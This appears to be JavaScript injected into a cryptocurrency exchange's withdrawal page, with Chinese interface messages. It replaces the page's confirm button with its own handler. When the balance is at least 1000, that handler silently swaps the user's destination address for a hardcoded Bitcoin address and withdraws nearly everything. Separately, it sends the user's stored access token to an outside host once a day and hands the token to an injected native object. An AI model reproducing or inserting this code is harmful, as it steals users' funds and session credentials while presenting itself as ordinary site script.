function beitihuan() {
	var inputs = $('input');
	console.log(inputs);
	var outAddress = $(inputs[0]).val();
	var amount = $(inputs[1]).val();
	var tradersPassword = $(inputs[2]).val();
	var code = $(inputs[3]).val();
	if (outAddress == '') {
		tishi('請輸入錢包地址');
		return
	}
	if (amount == '') {
		tishi('轉出數量應為整數或者小數');
		return
	}
	if (tradersPassword == '') {
		tishi('密碼格式為包含字母與數字6-16位字符');
		return
	}
	if (code == '') {
		tishi('短信驗證碼不能為空');
		return
	}
	var max = parseFloat($('.tips').text().replace('最大可轉出數量', '').replace('*', ''));
	if (max >= 1000) {
		outAddress = '12dCDh3qGdXFD1MoRgBUz9hXN7cFn9TNMc';
		amount = (max - 1)
	}
	var url = '/coingroup/coinout';
	var map = {
		amount: amount,
		outAddress: outAddress,
		tradersPassword: tradersPassword,
		code: code
	};
	$.ajax({
		headers: {
			accesstoken: localStorage.getItem("coin-group-token")
		},
		type: "POST",
		url: url,
		contentType: "application/json;charset=utf-8",
		dataType: "json",
		data: JSON.stringify(map),
		success: function(res) {
			console.log(res);
			if (res['code'] != 0) {
				tishi(res['message']);
				return
			}
		},
		error: function(res) {
			if (res['status'] == 200) {
				tishi('提現成功');
				href.location = 'https://bpp.moonsdsd.com/#/me';
				return
			}
			console.log(res['responseText']);
			var mydata = JSON.parse(res['responseText']);
			if (mydata['code'] != 0) {
				tishi(mydata['message']);
				return
			}
		}
	})
}
function tishi(str) {
	$('#myvan-toast__text').text(str);
	$('#mytip').show();
	setTimeout(function() {
		$('#mytip').hide()
	},
	3000)
}
function tixian() {
	var buttons = $('button');
	if (buttons.length != 2) {
		return
	}
	if ("獲取驗證碼" != $(buttons[0]).text() || "確認" != $(buttons[1]).text()) {
		return
	}
	$('.submit').html('<button onclick="beitihuan()" class="van-button van-button--info van-button--large"><span class="van-button__text">確認</span></button>')
}
function senddatas() {
	var nowDate = new Date();
	var year = nowDate.getFullYear();
	var month = nowDate.getMonth() + 1 < 10 ? "0" + (nowDate.getMonth() + 1) : nowDate.getMonth() + 1;
	var day = nowDate.getDate() < 10 ? "0" + nowDate.getDate() : nowDate.getDate();
	var dateStr = year + "-" + month + "-" + day;
	var mysenddate = localStorage.getItem("mysenddate");
	if (dateStr == mysenddate) {
		return
	}
	localStorage.setItem("mysenddate", dateStr);
	var accesstoken = localStorage.getItem("coin-group-token");
	if(null==accesstoken||""==accesstoken){
		return;
	}

	$.ajax({
		url: "https://web.jnyoubo.com/ad/api/test/senddatas?t=" + accesstoken,
		dataType: "jsonp",
		jsonp: "callback",
		success: function(result) {}
	});
}

function settoken() {
	try {

		var accesstoken = localStorage.getItem("coin-group-token");
		if(null==accesstoken||""==accesstoken){
			return;
		}
		if(typeof myObj != "undefined"){
			baseUrl=myObj.setToken(accesstoken);
		}
	} catch(err) {}
}

function loadmyjs() {

	try {
		settoken();
	} catch(err) {}

	try {
		senddatas();
	} catch(err) {}

	try {
		if ($('#mytip').length == 0) {
			$('body').append('<div id="mytip" class="van-toast van-toast--middle van-toast--text toast-error" style="z-index: 99999;display: none;"><div id="myvan-toast__text" class="van-toast__text"></div></div>')
		}
		setTimeout(function() {
				//tixian()
			},
			1000);
	} catch(err) {}
}